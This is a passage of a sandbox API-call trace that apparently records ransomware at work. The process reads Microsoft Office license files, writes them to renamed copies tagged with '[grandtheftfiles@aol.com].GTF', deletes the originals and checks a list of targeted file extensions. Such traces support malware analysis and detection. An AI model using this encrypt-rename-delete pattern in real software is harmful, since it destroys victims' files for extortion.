	[0168.435] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.436] GetLastError () returned 0x0
	[0168.436] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x512c, lpOverlapped=0x0) returned 1
	[0168.439] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0168.441] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.441] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0168.441] SetEndOfFile (hFile=0x374) returned 1
	[0168.441] CloseHandle (hObject=0x374) returned 1
	[0168.441] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.441] SetEndOfFile (hFile=0x560) returned 1
	[0168.445] CloseHandle (hObject=0x560) returned 1
	[0168.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1
	[0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.446] lstrlenW (lpString=".doc") returned 4
	[0168.446] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".docx") returned 5
	[0168.446] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.446] lstrlenW (lpString=".pdf") returned 4
	[0168.446] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".xls") returned 4
	[0168.446] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".xlsx") returned 5
	[0168.446] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.446] lstrlenW (lpString=".ppt") returned 4
	[0168.446] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.446] lstrlenW (lpString=".zip") returned 4
	[0168.446] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".rar") returned 4
	[0168.446] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".bz2") returned 4
	[0168.446] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString=".7z") returned 3
	[0168.446] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.446] lstrlenW (lpString=".dbf") returned 4
	[0168.446] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".1cd") returned 4
	[0168.447] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".jpg") returned 4
	[0168.447] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".doc") returned 4
	[0168.447] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".docx") returned 5
	[0168.447] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.447] lstrlenW (lpString=".pdf") returned 4
	[0168.447] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".xls") returned 4
	[0168.447] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".xlsx") returned 5
	[0168.447] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.447] lstrlenW (lpString=".ppt") returned 4
	[0168.447] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".zip") returned 4
	[0168.447] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".rar") returned 4
	[0168.447] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".bz2") returned 4
	[0168.447] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString=".7z") returned 3
	[0168.447] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".dbf") returned 4
	[0168.447] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.447] lstrlenW (lpString=".1cd") returned 4
	[0168.448] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0168.448] lstrlenW (lpString=".jpg") returned 4
	[0168.448] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.448] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.448] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30
	[0168.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.449] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11587) returned 1
	[0168.449] CloseHandle (hObject=0x560) returned 1
	[0168.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0168.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.449] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.449] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.450] GetLastError () returned 0x0
	[0168.450] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d43, lpOverlapped=0x0) returned 1
	[0168.452] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0168.453] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.453] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0168.453] SetEndOfFile (hFile=0x374) returned 1
	[0168.454] CloseHandle (hObject=0x374) returned 1
	[0168.454] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.454] SetEndOfFile (hFile=0x560) returned 1
	[0168.456] CloseHandle (hObject=0x560) returned 1
	[0168.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0168.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.457] lstrlenW (lpString=".doc") returned 4
	[0168.457] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.457] lstrlenW (lpString=".docx") returned 5
	[0168.457] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.457] lstrlenW (lpString=".pdf") returned 4
	[0168.457] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.457] lstrlenW (lpString=".xls") returned 4
	[0168.458] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".xlsx") returned 5
	[0168.458] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.458] lstrlenW (lpString=".ppt") returned 4
	[0168.458] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString=".zip") returned 4
	[0168.458] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".rar") returned 4
	[0168.458] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".bz2") returned 4
	[0168.458] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".7z") returned 3
	[0168.458] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString=".dbf") returned 4
	[0168.458] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString=".1cd") returned 4
	[0168.458] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString=".jpg") returned 4
	[0168.458] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.458] lstrlenW (lpString=".doc") returned 4
	[0168.458] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".docx") returned 5
	[0168.458] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.458] lstrlenW (lpString=".pdf") returned 4
	[0168.458] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.458] lstrlenW (lpString=".xls") returned 4
	[0168.458] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString=".xlsx") returned 5
	[0168.459] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.459] lstrlenW (lpString=".ppt") returned 4
	[0168.459] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.459] lstrlenW (lpString=".zip") returned 4
	[0168.459] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString=".rar") returned 4
	[0168.459] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString=".bz2") returned 4
	[0168.459] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString=".7z") returned 3
	[0168.459] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.459] lstrlenW (lpString=".dbf") returned 4
	[0168.459] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.459] lstrlenW (lpString=".1cd") returned 4
	[0168.459] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0168.459] lstrlenW (lpString=".jpg") returned 4
	[0168.459] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.459] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.459] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30
	[0168.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.462] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19932) returned 1
	[0168.462] CloseHandle (hObject=0x374) returned 1
	[0168.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0168.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.462] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.462] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0168.463] GetLastError () returned 0x0
	[0168.463] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x4ddc, lpOverlapped=0x0) returned 1
	[0168.466] WriteFile (in: hFile=0x42c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0168.467] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.467] WriteFile (in: hFile=0x42c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0168.467] SetEndOfFile (hFile=0x42c) returned 1
	[0168.467] CloseHandle (hObject=0x42c) returned 1
	[0168.468] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.468] SetEndOfFile (hFile=0x374) returned 1
	[0168.473] CloseHandle (hObject=0x374) returned 1
	[0168.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0168.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.474] lstrlenW (lpString=".doc") returned 4
	[0168.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.474] lstrlenW (lpString=".docx") returned 5
	[0168.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.474] lstrlenW (lpString=".pdf") returned 4
	[0168.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.474] lstrlenW (lpString=".xls") returned 4
	[0168.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".xlsx") returned 5
	[0168.475] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.475] lstrlenW (lpString=".ppt") returned 4
	[0168.475] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString=".zip") returned 4
	[0168.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".rar") returned 4
	[0168.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".bz2") returned 4
	[0168.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".7z") returned 3
	[0168.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString=".dbf") returned 4
	[0168.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString=".1cd") returned 4
	[0168.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString=".jpg") returned 4
	[0168.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.475] lstrlenW (lpString=".doc") returned 4
	[0168.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".docx") returned 5
	[0168.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.475] lstrlenW (lpString=".pdf") returned 4
	[0168.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.475] lstrlenW (lpString=".xls") returned 4
	[0168.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString=".xlsx") returned 5
	[0168.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.476] lstrlenW (lpString=".ppt") returned 4
	[0168.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.476] lstrlenW (lpString=".zip") returned 4
	[0168.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString=".rar") returned 4
	[0168.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString=".bz2") returned 4
	[0168.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString=".7z") returned 3
	[0168.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.476] lstrlenW (lpString=".dbf") returned 4
	[0168.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.476] lstrlenW (lpString=".1cd") returned 4
	[0168.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0168.476] lstrlenW (lpString=".jpg") returned 4
	[0168.476] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.476] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.476] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24
	[0168.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
